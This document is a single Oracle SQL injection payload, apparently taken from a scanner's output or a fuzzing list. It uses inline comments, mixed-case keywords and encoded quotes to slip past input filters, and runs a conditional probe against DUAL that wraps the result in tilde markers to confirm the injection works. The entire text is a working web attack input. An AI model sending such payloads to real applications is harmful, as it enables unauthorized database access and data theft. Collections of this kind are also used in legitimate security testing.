1') AND AND/**/4590=(sELECT/**/upPer(cHr(126)||%27~%27||(seLECT/**/(cASe/**/WHEn/**/(4590=4590)/**/thEN/**/1/**/else/**/0/**/enD)/**/FRom/**/DUAl)||%27~%27||Chr(126))/**/froM/**/duAl/**/wHerE/**/DBMs_rANdOM.valUE(4380,5490)=9623)-- -